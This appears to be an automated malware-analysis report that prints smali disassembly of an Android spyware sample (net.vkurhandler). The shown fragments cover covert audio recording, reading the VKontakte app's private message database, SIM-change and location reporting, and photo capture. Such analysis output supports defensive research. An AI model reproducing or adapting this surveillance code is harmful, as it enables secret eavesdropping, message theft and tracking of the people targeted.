                    • ex->
                    Position Instruction Meta Information
                    0try_start_0:
                    1const-string v0, "Audiorecorder"
                    3const-string v1, "try start record,stage#1"
                    5invoke-static {v0, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;)V
                    6sget-boolean v0, Lnet/vkurhandler/MyApp;->a:Z
                    7if-eqz v0, :cond_1c
                    8const/4 v0, -0x1
                    9iput v0, p0, Lnet/vkurhandler/v;->b:I
                    11invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    12move-result v0
                    13if-eqz v0, :cond_1b
                    15const-string v0, "Audiorecorder"
                    17const-string v1, "can\'t start audiorecord in silence mode"
                    19invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    20goto_1b: return-void
                    21cond_1c:
                    22invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    23move-result v0
                    24if-eqz v0, :cond_36
                    26const-string v0, "Audiorecorder"
                    27const/4 v1, 0x2
                    28new-array v1, v1, [Ljava/lang/String;
                    29const/4 v2, 0x0
                    31const-string v3, "try start record with data:"
                    32aput-object v3, v1, v2
                    33const/4 v2, 0x1
                    35invoke-virtual {p1}, Lnet/vkurhandler/be;->toString()Ljava/lang/String;
                    36move-result-object v3
                    37aput-object v3, v1, v2
                    39invoke-static {v0, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    40cond_36:
                    41const-string v0, "audiorecord_type"
                    43invoke-virtual {p1, v0}, Lnet/vkurhandler/be;->b(Ljava/lang/String;)I
                    44move-result v0
                    46iget-object v1, p0, Lnet/vkurhandler/v;->d:[Lnet/vkurhandler/ab;
                    47aget-object v1, v1, v0
                    48iget v2, v1, Lnet/vkurhandler/ab;->c:I
                    50iget-object v1, p0, Lnet/vkurhandler/v;->d:[Lnet/vkurhandler/ab;
                    51aget-object v1, v1, v0
                    52iget v1, v1, Lnet/vkurhandler/ab;->d:I
                    54iget-object v3, p0, Lnet/vkurhandler/v;->d:[Lnet/vkurhandler/ab;
                    55aget-object v3, v3, v0
                    56iget v4, v3, Lnet/vkurhandler/ab;->e:I
                    58iget-object v3, p0, Lnet/vkurhandler/v;->d:[Lnet/vkurhandler/ab;
                    59aget-object v3, v3, v0
                    60iget v5, v3, Lnet/vkurhandler/ab;->f:I
                    62iget-object v3, p0, Lnet/vkurhandler/v;->d:[Lnet/vkurhandler/ab;
                    63aget-object v3, v3, v0
                    64iget v6, v3, Lnet/vkurhandler/ab;->g:I
                    66iget-object v3, p0, Lnet/vkurhandler/v;->d:[Lnet/vkurhandler/ab;
                    67aget-object v3, v3, v0
                    68iget v3, v3, Lnet/vkurhandler/ab;->b:I
                    70const-string v7, "file_ext"
                    72const-string v8, ".mp3"
                    74invoke-virtual {p1, v7, v8}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    76const-string v7, "absolute_file_path"
                    78invoke-virtual {p1, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;)Ljava/lang/String;
                    79move-result-object v7
                    80const/4 v8, -0x1
                    81if-eq v0, v8, :cond_78
                    82iget v8, p0, Lnet/vkurhandler/v;->b:I
                    83const/4 v9, -0x1
                    84if-eq v8, v9, :cond_78
                    86invoke-direct {p0}, Lnet/vkurhandler/v;->f()V
                    87cond_78:
                    88const-string v8, "interval_arecord_in_ms"
                    89const-wide/16 v10, 0x0
                    91invoke-virtual {p1, v8, v10, v11}, Lnet/vkurhandler/be;->b(Ljava/lang/String;J)J
                    92move-result-wide v8
                    94invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    95move-result v10
                    96if-eqz v10, :cond_ae
                    98const-string v10, "Audiorecorder"
                    99new-instance v11, Ljava/lang/StringBuilder;
                    101const-string v12, "split:"
                    103invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    105invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    106move-result-object v11
                    108const-string v12, "|intervalArecordInMs:"
                    110invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    111move-result-object v11
                    113invoke-virtual {v11, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    114move-result-object v11
                    116const-string v12, "|newRecType:"
                    118invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    119move-result-object v11
                    121invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    122move-result-object v11
                    124invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    125move-result-object v11
                    127invoke-static {v10, v11}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    128cond_ae: if-lez v6, :cond_cd
                    129mul-int/lit8 v10, v6, 0x3c
                    130mul-int/lit16 v10, v10, 0x3e8
                    131int-to-long v10, v10
                    132cmp-long v8, v8, v10
                    133if-gtz v8, :cond_bb
                    134if-eqz v0, :cond_cd
                    135cond_bb:
                    136invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    137move-result v8
                    138if-eqz v8, :cond_c8
                    140const-string v8, "Audiorecorder"
                    142const-string v9, "AudiorecordSplitter.restart"
                    144invoke-static {v8, v9}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    145cond_c8:
                    146iget-object v8, p0, Lnet/vkurhandler/v;->e:Landroid/content/Context;
                    148invoke-static {v8, v6}, Lnet/vkurhandler/AudiorecordSplitter;->b(Landroid/content/Context;I)V
                    149cond_cd: if-eqz v0, :cond_d4
                    151iget-object v6, p0, Lnet/vkurhandler/v;->e:Landroid/content/Context;
                    153invoke-static {v6}, Lnet/vkurhandler/AudiorecordEnvironmentEndDetector;->a(Landroid/content/Context;)V
                    154cond_d4: iput v0, p0, Lnet/vkurhandler/v;->b:I
                    156iget-object v6, p0, Lnet/vkurhandler/v;->c:Lnet/vkurhandler/be;
                    157monitor-enter v6
                    158try_start_d9:
                    159iget-object v8, p0, Lnet/vkurhandler/v;->c:Lnet/vkurhandler/be;
                    161invoke-static {p1, v8}, Lnet/vkurhandler/be;->a(Lnet/vkurhandler/be;Lnet/vkurhandler/be;)V
                    162monitor-exit v6
                    163try_end_df: mul-int/lit16 v5, v5, 0x3e8
                    164int-to-long v8, v5
                    165try_start_e2:
                    166invoke-static {v8, v9}, Lnet/vkurhandler/gn;->a(J)V
                    168const-string v5, "Audiorecorder"
                    169new-instance v6, Ljava/lang/StringBuilder;
                    171const-string v8, "stage#1,s:"
                    173invoke-direct {v6, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    175invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    176move-result-object v6
                    178const-string v8, "|f:"
                    180invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    181move-result-object v6
                    183invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    184move-result-object v1
                    186const-string v6, "|codec:"
                    188invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    189move-result-object v1
                    191invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    192move-result-object v1
                    194const-string v4, "|sampling:"
                    196invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    197move-result-object v1
                    199invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    200move-result-object v1
                    202const-string v4, "|rt:"
                    204invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    205move-result-object v1
                    207invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    208move-result-object v0
                    210const-string v1, "|fp:"
                    212invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    213move-result-object v0
                    215invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    216move-result-object v0
                    218invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    219move-result-object v0
                    221invoke-static {v5, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;)V
                    222const/4 v6, 0x0
                    223iget v0, p0, Lnet/vkurhandler/v;->b:I
                    224const/4 v1, 0x1
                    225if-ne v0, v1, :cond_133
                    226const/4 v6, 0x1
                    227const/4 v2, 0x1
                    228cond_133: new-instance v0, Lnet/vkurhandler/bo;
                    230iget-object v1, p0, Lnet/vkurhandler/v;->e:Landroid/content/Context;
                    231const/16 v4, 0x10
                    232const/4 v5, 0x2
                    234invoke-direct/range {v0 .. v6}, Lnet/vkurhandler/bo;-><init>(Landroid/content/Context;IIIIZ)V
                    235iput-object v0, p0, Lnet/vkurhandler/v;->a:Lnet/vkurhandler/bo;
                    237iget-object v0, p0, Lnet/vkurhandler/v;->a:Lnet/vkurhandler/bo;
                    239invoke-virtual {v0, v7}, Lnet/vkurhandler/bo;->a(Ljava/lang/String;)V
                    241iget-object v0, p0, Lnet/vkurhandler/v;->a:Lnet/vkurhandler/bo;
                    243invoke-virtual {v0}, Lnet/vkurhandler/bo;->b()V
                    245iget-object v0, p0, Lnet/vkurhandler/v;->a:Lnet/vkurhandler/bo;
                    247invoke-virtual {v0}, Lnet/vkurhandler/bo;->d()V
                    249iget-object v0, p0, Lnet/vkurhandler/v;->a:Lnet/vkurhandler/bo;
                    251invoke-virtual {v0}, Lnet/vkurhandler/bo;->a()Lnet/vkurhandler/bq;
                    252move-result-object v0
                    254sget-object v1, Lnet/vkurhandler/bq;->d:Lnet/vkurhandler/bq;
                    255if-eq v0, v1, :cond_1b
                    257invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    258move-result v0
                    259if-eqz v0, :cond_1b
                    261const-string v0, "Audiorecorder"
                    263const-string v1, "start recording successfuly"
                    265invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    266try_end_165: goto/16 :goto_1b
                    267catch_167: move-exception v0
                    269const-string v1, "Audiorecorder"
                    270new-instance v2, Ljava/lang/StringBuilder;
                    272const-string v3, "ex->"
                    274invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    276invoke-static {v0}, Landroid/util/Log;->getStackTraceString(Ljava/lang/Throwable;)Ljava/lang/String;
                    277move-result-object v3
                    279invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    280move-result-object v2
                    282invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    283move-result-object v2
                    285invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;)V
                    287const-string v1, "Audiorecorder"
                    289invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    290const/4 v0, -0x1
                    291iput v0, p0, Lnet/vkurhandler/v;->b:I
                    292goto/16 :goto_1b
                    293catchall_18a: move-exception v0
                    294try_start_18b: monitor-exit v6
                    295try_start_18c: throw v0
                    APIs
                    • net.vkurhandler.dr.l:Ljava/lang/String
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • /data/data/com.vkontakte.android/databases/
                    • /data/data/com.vkontakte.android/databases/vk.db
                    • .cp
                    • peer
                    • sender
                    • text
                    • time
                    • dialog_id
                    • from_member_id
                    • data
                    • local_id
                    • body
                    • is_incoming
                    • docid
                    • c0local_id
                    • c1body
                    • firstname
                    • lastname
                    • first_name_nom
                    • last_name_nom
                    Position Instruction Meta Information
                    0const/4 v2, 0x4
                    1const/4 v6, 0x3
                    2const/4 v5, 0x2
                    3const/4 v4, 0x1
                    4const/4 v3, 0x0
                    6const-string v0, "/data/data/com.vkontakte.android/databases/"
                    7sput-object v0, Lnet/vkurhandler/dr;->k:Ljava/lang/String;
                    9const-string v0, "/data/data/com.vkontakte.android/databases/vk.db"
                    10sput-object v0, Lnet/vkurhandler/dr;->l:Ljava/lang/String;
                    11new-instance v0, Ljava/lang/StringBuilder;
                    13sget-object v1, Lnet/vkurhandler/dr;->l:Ljava/lang/String;
                    15invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    16move-result-object v1
                    18invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    20const-string v1, ".cp"
                    22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    23move-result-object v0
                    25invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    26move-result-object v0
                    27sput-object v0, Lnet/vkurhandler/dr;->m:Ljava/lang/String;
                    28new-array v0, v2, [Ljava/lang/String;
                    30const-string v1, "peer"
                    31aput-object v1, v0, v3
                    33const-string v1, "sender"
                    34aput-object v1, v0, v4
                    36const-string v1, "text"
                    37aput-object v1, v0, v5
                    39const-string v1, "time"
                    40aput-object v1, v0, v6
                    41sput-object v0, Lnet/vkurhandler/dr;->n:[Ljava/lang/String;
                    42const/4 v0, 0x5
                    43new-array v0, v0, [Ljava/lang/String;
                    45const-string v1, "dialog_id"
                    46aput-object v1, v0, v3
                    48const-string v1, "from_member_id"
                    49aput-object v1, v0, v4
                    51const-string v1, "data"
                    52aput-object v1, v0, v5
                    54const-string v1, "time"
                    55aput-object v1, v0, v6
                    57const-string v1, "local_id"
                    58aput-object v1, v0, v2
                    59sput-object v0, Lnet/vkurhandler/dr;->o:[Ljava/lang/String;
                    60const/4 v0, 0x6
                    61new-array v0, v0, [Ljava/lang/String;
                    63const-string v1, "dialog_id"
                    64aput-object v1, v0, v3
                    66const-string v1, "from_member_id"
                    67aput-object v1, v0, v4
                    69const-string v1, "body"
                    70aput-object v1, v0, v5
                    72const-string v1, "time"
                    73aput-object v1, v0, v6
                    75const-string v1, "local_id"
                    76aput-object v1, v0, v2
                    77const/4 v1, 0x5
                    79const-string v2, "is_incoming"
                    80aput-object v2, v0, v1
                    81sput-object v0, Lnet/vkurhandler/dr;->p:[Ljava/lang/String;
                    82new-array v0, v6, [Ljava/lang/String;
                    84const-string v1, "docid"
                    85aput-object v1, v0, v3
                    87const-string v1, "c0local_id"
                    88aput-object v1, v0, v4
                    90const-string v1, "c1body"
                    91aput-object v1, v0, v5
                    92sput-object v0, Lnet/vkurhandler/dr;->q:[Ljava/lang/String;
                    93new-array v0, v5, [Ljava/lang/String;
                    95const-string v1, "firstname"
                    96aput-object v1, v0, v3
                    98const-string v1, "lastname"
                    99aput-object v1, v0, v4
                    100sput-object v0, Lnet/vkurhandler/dr;->r:[Ljava/lang/String;
                    101new-array v0, v5, [Ljava/lang/String;
                    103const-string v1, "first_name_nom"
                    104aput-object v1, v0, v3
                    106const-string v1, "last_name_nom"
                    107aput-object v1, v0, v4
                    108sput-object v0, Lnet/vkurhandler/dr;->s:[Ljava/lang/String;
                    109return-void
                    Cross References
                    APIs
                    • org.json.JSONObject.getInt
                    • java.lang.StringBuilder.<init>
                    • org.json.JSONObject.getDouble
                    • org.json.JSONObject.getDouble
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • type
                    • Change SIM
                    • lat
                    • lng
                    • mcc
                    • mnc
                    • lac
                    • cid
                    • DispatchService
                    • Change SIM, location not detected
                    Position Instruction Meta Information
                    0try_start_0:
                    1const-string v0, "type"
                    3invoke-virtual {p0, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    4move-result v0
                    5const/4 v1, 0x2
                    6if-eq v0, v1, :cond_c
                    7const/4 v1, 0x1
                    8if-ne v0, v1, :cond_2c
                    9cond_c: new-instance v0, Ljava/lang/StringBuilder;
                    11const-string v1, "Change SIM "
                    13invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    15const-string v1, "lat"
                    17invoke-virtual {p0, v1}, Lorg/json/JSONObject;->getDouble(Ljava/lang/String;)D
                    18move-result-wide v2
                    20const-string v1, "lng"
                    22invoke-virtual {p0, v1}, Lorg/json/JSONObject;->getDouble(Ljava/lang/String;)D
                    23move-result-wide v4
                    25invoke-static {v2, v3, v4, v5}, Lnet/vkurhandler/gn;->a(DD)Ljava/lang/String;
                    26move-result-object v1
                    28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    29move-result-object v0
                    31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    32move-result-object v0
                    33goto_2b: return-object v0
                    34cond_2c: const/4 v1, 0x3
                    35if-ne v0, v1, :cond_61
                    36new-instance v0, Ljava/lang/StringBuilder;
                    38const-string v1, "Change SIM "
                    40invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    42const-string v1, "mcc"
                    44invoke-virtual {p0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    45move-result v1
                    47const-string v2, "mnc"
                    49invoke-virtual {p0, v2}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    50move-result v2
                    52const-string v3, "lac"
                    54invoke-virtual {p0, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    55move-result v3
                    57const-string v4, "cid"
                    59invoke-virtual {p0, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    60move-result v4
                    62invoke-static {v1, v2, v3, v4}, Lnet/vkurhandler/gn;->a(IIII)Ljava/lang/String;
                    63move-result-object v1
                    65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    66move-result-object v0
                    68invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    69try_end_59: move-result-object v0
                    70goto/16 :goto_2b
                    71catch_5b: move-exception v0
                    73const-string v1, "DispatchService"
                    75invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    76cond_61:
                    77const-string v0, "Change SIM, location not detected"
                    78goto/16 :goto_2b
                    Cross References
                    APIs
                    • org.json.JSONObject.getInt
                    • java.lang.StringBuilder.<init>
                    • org.json.JSONObject.getDouble
                    • org.json.JSONObject.getDouble
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.<init>
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getInt
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    Strings
                    • type
                    • Location command
                    • lat
                    • lng
                    • mcc
                    • mnc
                    • lac
                    • cid
                    • Location command not detected
                    Position Instruction Meta Information
                    1const-string v0, "type"
                    3invoke-virtual {p0, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    4move-result v0
                    5const/4 v1, 0x2
                    6if-eq v0, v1, :cond_c
                    7const/4 v1, 0x1
                    8if-ne v0, v1, :cond_2c
                    9cond_c: new-instance v0, Ljava/lang/StringBuilder;
                    11const-string v1, "Location command "
                    13invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    15const-string v1, "lat"
                    17invoke-virtual {p0, v1}, Lorg/json/JSONObject;->getDouble(Ljava/lang/String;)D
                    18move-result-wide v2
                    20const-string v1, "lng"
                    22invoke-virtual {p0, v1}, Lorg/json/JSONObject;->getDouble(Ljava/lang/String;)D
                    23move-result-wide v4
                    25invoke-static {v2, v3, v4, v5}, Lnet/vkurhandler/gn;->a(DD)Ljava/lang/String;
                    26move-result-object v1
                    28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    29move-result-object v0
                    31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    32move-result-object v0
                    33goto_2b: return-object v0
                    34cond_2c: const/4 v1, 0x3
                    35if-ne v0, v1, :cond_5b
                    36new-instance v0, Ljava/lang/StringBuilder;
                    38const-string v1, "Location command "
                    40invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    42const-string v1, "mcc"
                    44invoke-virtual {p0, v1}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    45move-result v1
                    47const-string v2, "mnc"
                    49invoke-virtual {p0, v2}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    50move-result v2
                    52const-string v3, "lac"
                    54invoke-virtual {p0, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    55move-result v3
                    57const-string v4, "cid"
                    59invoke-virtual {p0, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    60move-result v4
                    62invoke-static {v1, v2, v3, v4}, Lnet/vkurhandler/gn;->a(IIII)Ljava/lang/String;
                    63move-result-object v1
                    65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    66move-result-object v0
                    68invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    69move-result-object v0
                    70goto/16 :goto_2b
                    71cond_5b:
                    72const-string v0, "Location command not detected"
                    73goto/16 :goto_2b
                    Cross References
                    APIs
                    • java.io.FileOutputStream.<init>
                    • java.io.FileOutputStream.write
                    • java.io.FileOutputStream.close
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.b
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.getApplicationContext
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.b
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.finish
                    • net.vkurhandler.PhotoActivity.a
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.b
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.finish
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.b
                    • net.vkurhandler.ct.a:Lnet/vkurhandler/PhotoActivity
                    • net.vkurhandler.PhotoActivity.finish
                    Strings
                    • type
                    • sub_type
                    • file_ext
                    • .jpg
                    • date
                    • file_name
                    • absolute_file_path
                    Position Instruction Meta Information
                    0const/4 v4, 0x0
                    1try_start_1:
                    2invoke-static {}, Lnet/vkurhandler/gn;->f()Ljava/io/File;
                    3move-result-object v0
                    4new-instance v1, Ljava/io/FileOutputStream;
                    6invoke-direct {v1, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    7const/4 v2, 0x0
                    8aget-object v2, p1, v2
                    10invoke-virtual {v1, v2}, Ljava/io/FileOutputStream;->write([B)V
                    12invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V
                    14invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    15move-result-object v1
                    17const-string v2, "type"
                    18const/4 v3, 0x2
                    20invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    22const-string v2, "sub_type"
                    24iget-object v3, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    26invoke-static {v3}, Lnet/vkurhandler/PhotoActivity;->b(Lnet/vkurhandler/PhotoActivity;)I
                    27move-result v3
                    29invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    31const-string v2, "file_ext"
                    33const-string v3, ".jpg"
                    35invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    37const-string v2, "date"
                    39invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    40move-result-object v3
                    42invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    44const-string v2, "file_name"
                    46invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                    47move-result-object v3
                    49invoke-virtual {v1, v2, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    51const-string v2, "absolute_file_path"
                    53invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                    54move-result-object v0
                    56invoke-virtual {v1, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    58iget-object v0, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    60invoke-virtual {v0}, Lnet/vkurhandler/PhotoActivity;->getApplicationContext()Landroid/content/Context;
                    61move-result-object v0
                    63invoke-static {v0, v1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    64try_end_53:
                    65iget-object v0, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    67invoke-static {v0, v4}, Lnet/vkurhandler/PhotoActivity;->b(Lnet/vkurhandler/PhotoActivity;Z)V
                    69iget-object v0, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    71invoke-virtual {v0}, Lnet/vkurhandler/PhotoActivity;->finish()V
                    72goto_5d: const/4 v0, 0x0
                    73return-object v0
                    74catch_5f: move-exception v0
                    75try_start_60:
                    76invoke-static {}, Lnet/vkurhandler/PhotoActivity;->a()Ljava/lang/String;
                    77move-result-object v1
                    79invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    80try_end_67:
                    81iget-object v0, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    83invoke-static {v0, v4}, Lnet/vkurhandler/PhotoActivity;->b(Lnet/vkurhandler/PhotoActivity;Z)V
                    85iget-object v0, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    87invoke-virtual {v0}, Lnet/vkurhandler/PhotoActivity;->finish()V
                    88goto/16 :goto_5d
                    89catchall_72: move-exception v0
                    91iget-object v1, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    93invoke-static {v1, v4}, Lnet/vkurhandler/PhotoActivity;->b(Lnet/vkurhandler/PhotoActivity;Z)V
                    95iget-object v1, p0, Lnet/vkurhandler/ct;->a:Lnet/vkurhandler/PhotoActivity;
                    97invoke-virtual {v1}, Lnet/vkurhandler/PhotoActivity;->finish()V
                    98throw v0
                    APIs
                    • java.lang.UnsupportedOperationException.<init>
                    • java.lang.StringBuilder.<init>
                    • java.lang.String.getBytes
                    • java.lang.String.getBytes
                    • java.lang.String.getBytes
                    • org.apache.http.message.BasicHeader.<init>
                    • org.apache.http.message.BasicHeader.<init>
                    Strings
                    • Unsupported operation in this implementation.
                    • true
                    • false
                    • null
                    • name
                    • type
                    • contents
                    • _elapsed
                    • Content-Type
                    • application/json
                    • Content-Encoding
                    • gzip
                    Position Instruction Meta Information
                    0new-instance v0, Ljava/lang/UnsupportedOperationException;
                    2const-string v1, "Unsupported operation in this implementation."
                    4invoke-direct {v0, v1}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
                    5sput-object v0, Lcom/a/a/a/q;->a:Ljava/lang/UnsupportedOperationException;
                    6new-instance v0, Ljava/lang/StringBuilder;
                    7const/16 v1, 0x80
                    9invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(I)V
                    10sput-object v0, Lcom/a/a/a/q;->c:Ljava/lang/StringBuilder;
                    12const-string v0, "true"
                    14invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    15move-result-object v0
                    16sput-object v0, Lcom/a/a/a/q;->d:[B
                    18const-string v0, "false"
                    20invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    21move-result-object v0
                    22sput-object v0, Lcom/a/a/a/q;->e:[B
                    24const-string v0, "null"
                    26invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    27move-result-object v0
                    28sput-object v0, Lcom/a/a/a/q;->f:[B
                    30const-string v0, "name"
                    32invoke-static {v0}, Lcom/a/a/a/q;->a(Ljava/lang/String;)[B
                    33move-result-object v0
                    34sput-object v0, Lcom/a/a/a/q;->g:[B
                    36const-string v0, "type"
                    38invoke-static {v0}, Lcom/a/a/a/q;->a(Ljava/lang/String;)[B
                    39move-result-object v0
                    40sput-object v0, Lcom/a/a/a/q;->h:[B
                    42const-string v0, "contents"
